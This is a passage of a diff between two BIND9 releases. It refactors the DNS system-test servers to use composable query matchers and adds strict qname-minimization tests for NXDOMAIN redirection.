https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. import dns.rcode diff -Nru bind9-9.20.29/bin/tests/system/reclimit/ans7/ans.py bind9-9.20.30/bin/tests/system/reclimit/ans7/ans.py --- bind9-9.20.29/bin/tests/system/reclimit/ans7/ans.py 2026-09-11 19:41:01.317326591 +0000 +++ bind9-9.20.30/bin/tests/system/reclimit/ans7/ans.py 2026-10-12 13:12:08.227896063 +0000 @@ -1,21 +1,20 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator import dns.rcode -from isctest.asyncserver import AsyncDnsServer, DnsResponseSend, QueryContext +from isctest.asyncserver import AsyncDnsServer, QueryContext +from isctest.asyncserver.actions import DnsResponseSend from ..reclimit_ans import ReclimitHandler, ReclimitStateHandler diff -Nru bind9-9.20.29/bin/tests/system/reclimit/reclimit_ans.py bind9-9.20.30/bin/tests/system/reclimit/reclimit_ans.py --- bind9-9.20.29/bin/tests/system/reclimit/reclimit_ans.py 2026-09-11 19:41:01.318326615 +0000 +++ bind9-9.20.30/bin/tests/system/reclimit/reclimit_ans.py 2026-10-12 13:12:08.228896084 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator from typing import final @@ -27,21 +25,20 @@ from isctest.asyncserver import ( ControlCommand, ControllableAsyncDnsServer, - DnsResponseSend, - QnameHandler, QueryContext, - ResponseAction, ResponseHandler, ) +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Matcher, Qname, Qtype -class ReclimitStateHandler(QnameHandler): +class ReclimitStateHandler(ResponseHandler): """ Handler for the "count." and "reset." queries that also holds the state shared by all the handlers in one server. """ - qnames = ["count.", "reset."] + matcher = Qname("count.", "reset.") def __init__(self, indirect_send_response_default: bool = True) -> None: self._indirect_send_response_default = indirect_send_response_default @@ -85,7 +82,7 @@ @final async def get_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: self._state.count += 1 async for response in self._get_counted_responses(qctx): yield response @@ -93,7 +90,7 @@ @abc.abstractmethod async def _get_counted_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: yield DnsResponseSend(qctx.response) @@ -131,8 +128,8 @@ ) -class DirectExampleHandler(ReclimitHandler, QnameHandler): - qnames = ["direct.example.org", "direct.example.net"] +class DirectExampleHandler(ReclimitHandler): + matcher = Qname("direct.example.org", "direct.example.net") def __init__( self, state_handler: ReclimitStateHandler, local_ns_number: int @@ -148,8 +145,8 @@ yield DnsResponseSend(qctx.response) -class IndirectExampleOrgHandler(ReclimitHandler, QnameHandler): - qnames = [f"indirect{i}.example.org" for i in range(1, 9)] +class IndirectExampleOrgHandler(ReclimitHandler): + matcher = Qname(*[f"indirect{i}.example.org" for i in range(1, 9)]) def __init__( self, state_handler: ReclimitStateHandler, local_ns_number: int @@ -168,15 +165,26 @@ yield DnsResponseSend(qctx.response) -def is_ns1_example(qname: dns.name.Name, tld: str) -> bool: - labels = qname.labels - return ( - len(labels) == 5 - and labels[3] == tld.encode() - and labels[2] == b"example" - and labels[1].isdigit() - and labels[0] == b"ns1" - ) +class Ns1Example(Matcher): + """ + Match queries for ns1..example.. + """ + + def __init__(self, tld: str) -> None: + self.tld = tld.encode() + + def match(self, qctx: QueryContext) -> bool: + labels = qctx.qname.labels + return ( + len(labels) == 5 + and labels[3] == self.tld + and labels[2] == b"example" + and labels[1].isdigit() + and labels[0] == b"ns1" + ) + + def __str__(self) -> str: + return f"QNAME is ns1..example.{self.tld.decode()}" class Ns1ExampleOrgHandler(ReclimitHandler): @@ -184,15 +192,11 @@ self._second_query_events: dict[dns.name.Name, asyncio.Event] = {} super().__init__(state_handler) - def match(self, qctx: QueryContext) -> bool: - return is_ns1_example(qctx.qname, "org") and qctx.qtype in ( - dns.rdatatype.A, - dns.rdatatype.AAAA, - ) + matcher = Ns1Example("org") & Qtype(dns.rdatatype.A, dns.rdatatype.AAAA) async def _get_counted_responses( self, qctx: QueryContext - ) -> AsyncGenerator[ResponseAction, None]: + ) -> AsyncGenerator[DnsResponseSend, None]: ns_number = int(qctx.qname.labels[1]) next_ns_number = ns_number + 1 if not self._state.limit or ( diff -Nru bind9-9.20.29/bin/tests/system/reclimit/tests_sh_reclimit.py bind9-9.20.30/bin/tests/system/reclimit/tests_sh_reclimit.py --- bind9-9.20.29/bin/tests/system/reclimit/tests_sh_reclimit.py 2026-09-11 19:41:01.318326615 +0000 +++ bind9-9.20.30/bin/tests/system/reclimit/tests_sh_reclimit.py 2026-10-12 13:12:08.228896084 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -18,7 +18,6 @@ "dig.out.*", "dsset-signed.", "ans*/ans.limit", - "ans*/ans.run", "ns1/K*", "ns1/signed.db", "ns1/signed.db.signed", diff -Nru bind9-9.20.29/bin/tests/system/redirect/ns10/named.conf.j2 bind9-9.20.30/bin/tests/system/redirect/ns10/named.conf.j2 --- bind9-9.20.29/bin/tests/system/redirect/ns10/named.conf.j2 2026-09-11 19:41:01.319326639 +0000 +++ bind9-9.20.30/bin/tests/system/redirect/ns10/named.conf.j2 2026-10-12 13:12:08.229896106 +0000 @@ -7,6 +7,7 @@ nxdomain-redirect redirect; dnssec-validation yes; synth-from-dnssec yes; + qname-minimization strict; dns64 64:ff9b::/96 { clients { any; }; mapped { any; }; diff -Nru bind9-9.20.29/bin/tests/system/redirect/ns11/named.conf.j2 bind9-9.20.30/bin/tests/system/redirect/ns11/named.conf.j2 --- bind9-9.20.29/bin/tests/system/redirect/ns11/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/redirect/ns11/named.conf.j2 2026-10-12 13:12:08.230896127 +0000 @@ -0,0 +1,34 @@ +// NS11 — validating resolver, using either nxdomain-redirect or +// a redirect zone, and configured for strict qname-minimization. + +{% set redirect_zone = redirect_zone | default(False) %} + +options { + {% include_indented "_common/options.conf.j2" %} +{% if not redirect_zone %} + nxdomain-redirect redirect; +{% endif %} + dnssec-validation yes; + qname-minimization strict; +}; + +{% include "_common/controls.conf.j2" %} + +include "trusted.conf"; + +zone "." { + type hint; + file "root.hints"; +}; + +{% if redirect_zone %} +zone "." { + type redirect; + file "redirect.db"; +}; +{% else %} +zone "redirect" { + type primary; + file "redirect.db"; +}; +{% endif %} diff -Nru bind9-9.20.29/bin/tests/system/redirect/ns11/redirect.db bind9-9.20.30/bin/tests/system/redirect/ns11/redirect.db --- bind9-9.20.29/bin/tests/system/redirect/ns11/redirect.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/redirect/ns11/redirect.db 2026-10-12 13:12:08.230896127 +0000 @@ -0,0 +1,5 @@ +$TTL 300 +@ IN SOA ns.redirect. admin.redirect. 1 3600 900 604800 86400 +@ IN NS ns.redirect. +ns IN A 10.53.0.10 +* IN A 203.0.113.1 diff -Nru bind9-9.20.29/bin/tests/system/redirect/ns11/root.hints bind9-9.20.30/bin/tests/system/redirect/ns11/root.hints --- bind9-9.20.29/bin/tests/system/redirect/ns11/root.hints 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/redirect/ns11/root.hints 2026-10-12 13:12:08.230896127 +0000 @@ -0,0 +1,2 @@ +. 518400 IN NS a.root-servers.nil. +a.root-servers.nil. 518400 IN A 10.53.0.9 diff -Nru bind9-9.20.29/bin/tests/system/redirect/ns9/sign.sh bind9-9.20.30/bin/tests/system/redirect/ns9/sign.sh --- bind9-9.20.29/bin/tests/system/redirect/ns9/sign.sh 2026-09-11 19:41:01.322326711 +0000 +++ bind9-9.20.30/bin/tests/system/redirect/ns9/sign.sh 2026-10-12 13:12:08.232896170 +0000 @@ -25,3 +25,4 @@ $SIGNER -P -g -O full -o $zone $zonefile >sign.ns9.root.out keyfile_to_static_keys $key2 >../ns10/trusted.conf +keyfile_to_static_keys $key2 >../ns11/trusted.conf diff -Nru bind9-9.20.29/bin/tests/system/redirect/tests_redirect_dns64.py bind9-9.20.30/bin/tests/system/redirect/tests_redirect_dns64.py --- bind9-9.20.29/bin/tests/system/redirect/tests_redirect_dns64.py 2026-09-11 19:41:01.322326711 +0000 +++ bind9-9.20.30/bin/tests/system/redirect/tests_redirect_dns64.py 2026-10-12 13:12:08.232896170 +0000 @@ -1,11 +1,9 @@ -#!/usr/bin/python3 - # Copyright (C) Internet Systems Consortium, Inc. ("ISC") # # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -48,6 +46,7 @@ "ns9/root.db.signed", "ns9/sign.ns9.*", "ns10/trusted.conf", + "ns11/trusted.conf", ] ) diff -Nru bind9-9.20.29/bin/tests/system/redirect/tests_redirect_qmin.py bind9-9.20.30/bin/tests/system/redirect/tests_redirect_qmin.py --- bind9-9.20.29/bin/tests/system/redirect/tests_redirect_qmin.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/redirect/tests_redirect_qmin.py 2026-10-12 13:12:08.232896170 +0000 @@ -0,0 +1,120 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import pytest + +import isctest + +pytestmark = pytest.mark.extra_artifacts( + [ + "dig.out.*", + "ns1/K*", + "ns1/*.signed", + "ns1/dsset-nsec3.", + "ns1/dsset-signed.", + "ns1/nsec3.db", + "ns1/signed.db", + "ns2/example.db", + "ns2/named.stats", + "ns2/redirect.db", + "ns3/K*", + "ns3/*.signed", + "ns3/dsset-nsec3.", + "ns3/dsset-signed.", + "ns3/nsec3.db", + "ns3/signed.db", + "ns4/example.db", + "ns4/named.stats", + "ns5/K*", + "ns5/dsset-*", + "ns5/*.signed", + "ns5/root.db", + "ns5/sign.ns5.*", + "ns5/signed.db", + "ns6/signed.db.signed", + "ns9/K*", + "ns9/dsset-*", + "ns9/root.db", + "ns9/root.db.signed", + "ns9/sign.ns9.*", + "ns10/trusted.conf", + "ns11/trusted.conf", + ] +) + + +def bootstrap(): + return { + "redirect_zone": False, + } + + +def test_nxdomain_redirect_qmin_mx_dnssec(ns11): + ns11.rndc("flush") + msg = isctest.query.create("nosuch.fake.test.", "MX", dnssec=True) + + # cold cache answer doesn't include proofs, so redirection is allowed + response = isctest.query.tcp(msg, ns11.ip) + isctest.check.empty_answer(response) + isctest.check.noerror(response) + + # hot cache answer does include proofs, so redirection is skipped + response = isctest.query.tcp(msg, ns11.ip) + isctest.check.empty_answer(response) + isctest.check.nxdomain(response) + + +def test_nxdomain_redirect_qmin_mx_no_dnssec(ns11): + ns11.rndc("flush") + msg = isctest.query.create("nosuch.spurious.test.", "MX", dnssec=False) + for _ in range(2): + response = isctest.query.tcp(msg, ns11.ip) + isctest.check.noerror(response) + isctest.check.empty_answer(response) + + +def test_nxdomain_redirect_qmin_a_dnssec(ns11): + ns11.rndc("flush") + msg = isctest.query.create("nosuch.fake.test.", "A", dnssec=True) + + # cold cache answer doesn't include proofs, so redirection is allowed + response = isctest.query.tcp(msg, ns11.ip) + isctest.check.has_answer(response) + isctest.check.noerror(response) + + # hot cache answer does include proofs, so redirection is skipped + response = isctest.query.tcp(msg, ns11.ip) + isctest.check.empty_answer(response) + isctest.check.nxdomain(response) + + +def test_nxdomain_redirect_qmin_any_dnssec(ns11): + ns11.rndc("flush") + msg = isctest.query.create("nosuch.fake.test.", "ANY", dnssec=True) + + # cold cache answer doesn't include proofs, so redirection is allowed + response = isctest.query.tcp(msg, ns11.ip) + isctest.check.has_answer(response) + isctest.check.noerror(response) + + # hot cache answer does include proofs, so redirection is skipped + response = isctest.query.tcp(msg, ns11.ip) + isctest.check.empty_answer(response) + isctest.check.nxdomain(response) + + +def test_nxdomain_redirect_qmin_any_no_dnssec(ns11): + ns11.rndc("flush") + msg = isctest.query.create("nosuch.spurious.test.", "ANY", dnssec=False) + for _ in range(2): + response = isctest.query.tcp(msg, ns11.ip) + isctest.check.noerror(response) + isctest.check.has_answer(response) diff -Nru bind9-9.20.29/bin/tests/system/redirect/tests_redirect_qminzone.py bind9-9.20.30/bin/tests/system/redirect/tests_redirect_qminzone.py --- bind9-9.20.29/bin/tests/system/redirect/tests_redirect_qminzone.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.30/bin/tests/system/redirect/tests_redirect_qminzone.py 2026-10-12 13:12:08.232896170 +0000 @@ -0,0 +1,97 @@ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +import dns.rcode +import pytest + +import isctest + +pytestmark = pytest.mark.extra_artifacts( + [ + "dig.out.*", + "ns1/K*", + "ns1/*.signed", + "ns1/dsset-nsec3.", + "ns1/dsset-signed.", + "ns1/nsec3.db", + "ns1/signed.db", + "ns2/example.db", + "ns2/named.stats", + "ns2/redirect.db", + "ns3/K*", + "ns3/*.signed", + "ns3/dsset-nsec3.", + "ns3/dsset-signed.", + "ns3/nsec3.db", + "ns3/signed.db", + "ns4/example.db", + "ns4/named.stats", + "ns5/K*", + "ns5/dsset-*", + "ns5/*.signed", + "ns5/root.db", + "ns5/sign.ns5.*", + "ns5/signed.db", + "ns6/signed.db.signed", + "ns9/K*", + "ns9/dsset-*", + "ns9/root.db", + "ns9/root.db.signed", + "ns9/sign.ns9.*", + "ns10/trusted.conf", + "ns11/trusted.conf", + ] +) + + +def bootstrap(): + return { + "redirect_zone": True, + } + + +def check(ns, qtype, dnssec, has_ad, rcode, has_answer): + msg = isctest.query.create("foo.test.", qtype, dnssec=dnssec) + response = isctest.query.udp(msg, ns.ip) + isctest.check.rcode(response, rcode) + + if has_ad: + isctest.check.adflag(response) + else: + isctest.check.noadflag(response) + + if has_answer: + isctest.check.has_answer(response) + else: + isctest.check.empty_answer(response) + + +@pytest.mark.parametrize( + "qtype,dnssec,has_ad,rcode,has_answer", + [ + ("MX", True, True, dns.rcode.NXDOMAIN, False), + ("MX", False, False, dns.rcode.NOERROR, False), + ("A", True, True, dns.rcode.NXDOMAIN, False), + ("A", False, False, dns.rcode.NOERROR, True), + ("ANY", True, True, dns.rcode.NXDOMAIN, False), + ("ANY", False, False, dns.rcode.NOERROR, True), + ], +) +def test_redirect_zone_qmin(ns11, qtype, dnssec, has_ad, rcode, has_answer): + ns11.rndc("flush") + # we check for NOERROR and AD=0 for the first query, because the cold-cache + # response will have no nonexistence proofs, and therefore redirection + # will be allowed. if NXDOMAIN is expected, we'll only see it on the + # second response. + isctest.log.debug("cold cache") + check(ns11, qtype, dnssec, False, dns.rcode.NOERROR, qtype in ("A", "ANY")) + isctest.log.debug("warm cache") + check(ns11, qtype, dnssec, has_ad, rcode, has_answer) diff -Nru bind9-9.20.29/bin/tests/system/redirect/tests_sh_redirect.py bind9-9.20.30/bin/tests/system/redirect/tests_sh_redirect.py --- bind9-9.20.29/bin/tests/system/redirect/tests_sh_redirect.py 2026-09-11 19:41:01.322326711 +0000 +++ bind9-9.20.30/bin/tests/system/redirect/tests_sh_redirect.py 2026-10-12 13:12:08.233896191 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -44,6 +44,7 @@ "ns9/root.db.signed", "ns9/sign.ns9.*", "ns10/trusted.conf", + "ns11/trusted.conf", ] ) diff -Nru bind9-9.20.29/bin/tests/system/requirements.txt bind9-9.20.30/bin/tests/system/requirements.txt --- bind9-9.20.29/bin/tests/system/requirements.txt 2026-09-11 19:41:01.322326711 +0000 +++ bind9-9.20.30/bin/tests/system/requirements.txt 2026-10-12 13:12:08.233896191 +0000 @@ -1,8 +1,9 @@ ### Test requirements -dnspython>=2.7.0 +dnspython>=2.8.0 cryptography +gssapi h2 hypothesis>=4.41.2 jinja2>=3.0.0 diff -Nru bind9-9.20.29/bin/tests/system/resend_loop/ans3/ans.py bind9-9.20.30/bin/tests/system/resend_loop/ans3/ans.py --- bind9-9.20.29/bin/tests/system/resend_loop/ans3/ans.py 2026-09-11 19:41:01.322326711 +0000 +++ bind9-9.20.30/bin/tests/system/resend_loop/ans3/ans.py 2026-10-12 13:12:08.233896191 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -18,14 +18,10 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - QnameQtypeHandler, - QueryContext, - StaticResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import StaticResponseHandler +from isctest.asyncserver.matchers import Domain, Qname, Qtype def rrset( @@ -37,15 +33,14 @@ return dns.rrset.from_text(qname, ttl, dns.rdataclass.IN, rtype, rdata) -class RootNsHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["."] - qtypes = [dns.rdatatype.NS] +class RootNsHandler(StaticResponseHandler): + matcher = Qname(".") & Qtype(dns.rdatatype.NS) answer = [rrset(".", dns.rdatatype.NS, "a.root-servers.nil.")] additional = [rrset("a.root-servers.nil.", dns.rdatatype.A, "10.53.0.3")] -class ExampleCookieHandler(DomainHandler): - domains = ["example."] +class ExampleCookieHandler(ResponseHandler): + matcher = Domain("example.") def _get_cookie(self, qctx: QueryContext) -> dns.edns.CookieOption | None: for o in qctx.query.options: diff -Nru bind9-9.20.29/bin/tests/system/resend_loop/tests_resend_loop.py bind9-9.20.30/bin/tests/system/resend_loop/tests_resend_loop.py --- bind9-9.20.29/bin/tests/system/resend_loop/tests_resend_loop.py 2026-09-11 19:41:01.323326735 +0000 +++ bind9-9.20.30/bin/tests/system/resend_loop/tests_resend_loop.py 2026-10-12 13:12:08.233896191 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional diff -Nru bind9-9.20.29/bin/tests/system/resolver/ans10/ans.py bind9-9.20.30/bin/tests/system/resolver/ans10/ans.py --- bind9-9.20.29/bin/tests/system/resolver/ans10/ans.py 2026-09-11 19:41:01.323326735 +0000 +++ bind9-9.20.30/bin/tests/system/resolver/ans10/ans.py 2026-10-12 13:12:08.233896191 +0000 @@ -3,7 +3,7 @@ # SPDX-License-Identifier: MPL-2.0 # # This Source Code Form is subject to the terms of the Mozilla Public -# License, v. 2.0. If a copy of the MPL was not distributed with this +# License, v. 2.0. If a copy of the MPL was not distributed with this # file, you can obtain one at https://mozilla.org/MPL/2.0/. # # See the COPYRIGHT file distributed with this work for additional @@ -14,19 +14,15 @@ import dns.rcode import dns.rdatatype -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - QueryContext, - ResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.matchers import Edns, EdnsOptions from ..resolver_ans import rrset, soa_rrset class EdnsWithOptionsFormerrHandler(ResponseHandler): - def match(self, qctx: QueryContext) -> bool: - return qctx.query.edns > -1 and qctx.query.options + matcher = Edns() & EdnsOptions() async def get_responses( self, qctx: QueryContext diff -Nru bind9-9.20.29/bin/tests/system/resolver/ans2/ans.py bind9-9.20.30/bin/tests/system/resolver/ans2/ans.py --- bind9-9.20.29/bin/tests/system/resolver/ans2/ans.py 2026-09-11 19:41:01.323326735 +0000 +++ bind9-9.20.30/bin/tests/system/resolver/ans2/ans.py 2026-10-12 13:12:08.233896191 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -18,17 +16,10 @@ import dns.rdatatype import dns.rrset -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - IgnoreAllQueries, - QnameHandler, - QnameQtypeHandler, - QueryContext, - ResponseHandler, - StaticResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import IgnoreAllQueries, StaticResponseHandler +from isctest.asyncserver.matchers import Domain, Qname, Qtype from ..resolver_ans import ( DelegationHandler, @@ -41,12 +32,10 @@ ) -class BadGoodDnameNsHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = [ - "baddname.example.org.", - "gooddname.example.org.", - ] - qtypes = [dns.rdatatype.NS] +class BadGoodDnameNsHandler(StaticResponseHandler): + matcher = Qname("baddname.example.org.", "gooddname.example.org.") & Qtype( + dns.rdatatype.NS + ) answer = [rrset("example.org.", dns.rdatatype.NS, "a.root-servers.nil.")] authoritative = True @@ -60,28 +49,28 @@ ) -class Cname1Handler(QnameHandler, StaticResponseHandler): - qnames = ["cname1.example.com."] +class Cname1Handler(StaticResponseHandler): + matcher = Qname("cname1.example.com.") # Data for the "cname + other data / 1" test - answer = _cname_rrsets(qnames[0]) + answer = _cname_rrsets(matcher.qnames[0]) authoritative = False -class Cname2Handler(QnameHandler, StaticResponseHandler): - qnames = ["cname2.example.com."] +class Cname2Handler(StaticResponseHandler): + matcher = Qname("cname2.example.com.") # Data for the "cname + other data / 2" test: same RRs in opposite order - answer = tuple(reversed(_cname_rrsets(qnames[0]))) + answer = tuple(reversed(_cname_rrsets(matcher.qnames[0]))) authoritative = False -class ExampleOrgHandler(QnameHandler): - qnames = [ +class ExampleOrgHandler(ResponseHandler): + matcher = Qname( "www.example.org", "badcname.example.org", "goodcname.example.org", "foo.baddname.example.org", "foo.gooddname.example.org", - ] + ) async def get_responses( self, qctx: QueryContext @@ -96,20 +85,14 @@ yield DnsResponseSend(qctx.response, authoritative=True) -class NoResponseExampleUdpHandler(QnameHandler, IgnoreAllQueries): - qnames = ["noresponse.exampleudp.net."] +class NoResponseExampleUdpHandler(IgnoreAllQueries): + matcher = Qname("noresponse.exampleudp.net.") -class RootNsHandler(QnameQtypeHandler): - qnames = [ - "example.com.", - "com.", - "example.org.", - "org.", - "net.", - ] - - qtypes = [dns.rdatatype.NS] +class RootNsHandler(ResponseHandler): + matcher = Qname("example.com.", "com.", "example.org.", "org.", "net.") & Qtype( + dns.rdatatype.NS + ) async def get_responses( self, qctx: QueryContext @@ -164,8 +147,8 @@ server_number = 7 -class PartialFormerrHandler(DomainHandler, StaticResponseHandler): - domains = ["partial-formerr."] +class PartialFormerrHandler(StaticResponseHandler): + matcher = Domain("partial-formerr.") authoritative = False rcode = dns.rcode.FORMERR diff -Nru bind9-9.20.29/bin/tests/system/resolver/ans3/ans.py bind9-9.20.30/bin/tests/system/resolver/ans3/ans.py --- bind9-9.20.29/bin/tests/system/resolver/ans3/ans.py 2026-09-11 19:41:01.323326735 +0000 +++ bind9-9.20.30/bin/tests/system/resolver/ans3/ans.py 2026-10-12 13:12:08.234896212 +0000 @@ -1,15 +1,13 @@ -""" -Copyright (C) Internet Systems Consortium, Inc. ("ISC") - -SPDX-License-Identifier: MPL-2.0 - -This Source Code Form is subject to the terms of the Mozilla Public -License, v. 2.0. If a copy of the MPL was not distributed with this -file, you can obtain one at https://mozilla.org/MPL/2.0/. - -See the COPYRIGHT file distributed with this work for additional -information regarding copyright ownership. -""" +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. from collections.abc import AsyncGenerator @@ -17,17 +15,10 @@ import dns.rcode import dns.rdatatype -from isctest.asyncserver import ( - AsyncDnsServer, - DnsResponseSend, - DomainHandler, - IgnoreAllQueries, - QnameHandler, - QnameQtypeHandler, - QueryContext, - ResponseHandler, - StaticResponseHandler, -) +from isctest.asyncserver import AsyncDnsServer, QueryContext, ResponseHandler +from isctest.asyncserver.actions import DnsResponseSend +from isctest.asyncserver.handlers import IgnoreAllQueries, StaticResponseHandler +from isctest.asyncserver.matchers import Domain, LeftmostLabelPrefix, Qname, Qtype from ..resolver_ans import ( DelegationHandler, @@ -41,73 +32,83 @@ ) -class ApexNSHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["example.net."] - qtypes = [dns.rdatatype.NS] - answer = [rrset(qnames[0], dns.rdatatype.NS, f"ns.{qnames[0]}")] - additional = [rrset(f"ns.{qnames[0]}", dns.rdatatype.A, "10.53.0.3")] +class ApexNSHandler(StaticResponseHandler): + matcher = Qname("example.net.") & Qtype(dns.rdatatype.NS) + answer = [ + rrset( + matcher.of(Qname).qnames[0], + dns.rdatatype.NS, + f"ns.{matcher.of(Qname).qnames[0]}", + ) + ] + additional = [ + rrset(f"ns.{matcher.of(Qname).qnames[0]}", dns.rdatatype.A, "10.53.0.3") + ] -class AttackDnameHandler(QnameHandler, StaticResponseHandler): - qnames = ["www.example.attack.example.net", "isc.attack.example.net."] +class AttackDnameHandler(StaticResponseHandler): + matcher = Qname("www.example.attack.example.net", "isc.attack.example.net.") answer = [rrset("attack.example.net.", dns.rdatatype.DNAME, "org.")] -class BadCnameHandler(QnameHandler, StaticResponseHandler): - qnames = ["badcname.example.net."] - answer = [rrset(qnames[0], dns.rdatatype.CNAME, "badcname.example.org.")] +class BadCnameHandler(StaticResponseHandler): + matcher = Qname("badcname.example.net.") + answer = [rrset(matcher.qnames[0], dns.rdatatype.CNAME, "badcname.example.org.")] -class BadGoodDnameNsHandler(QnameQtypeHandler, StaticResponseHandler): - qnames = ["baddname.example.net.", "gooddname.example.net."] - qtypes = [dns.rdatatype.NS] +class BadGoodDnameNsHandler(StaticResponseHandler): + matcher = Qname("baddname.example.net.", "gooddname.example.net.") & Qtype( + dns.rdatatype.NS + ) authority = 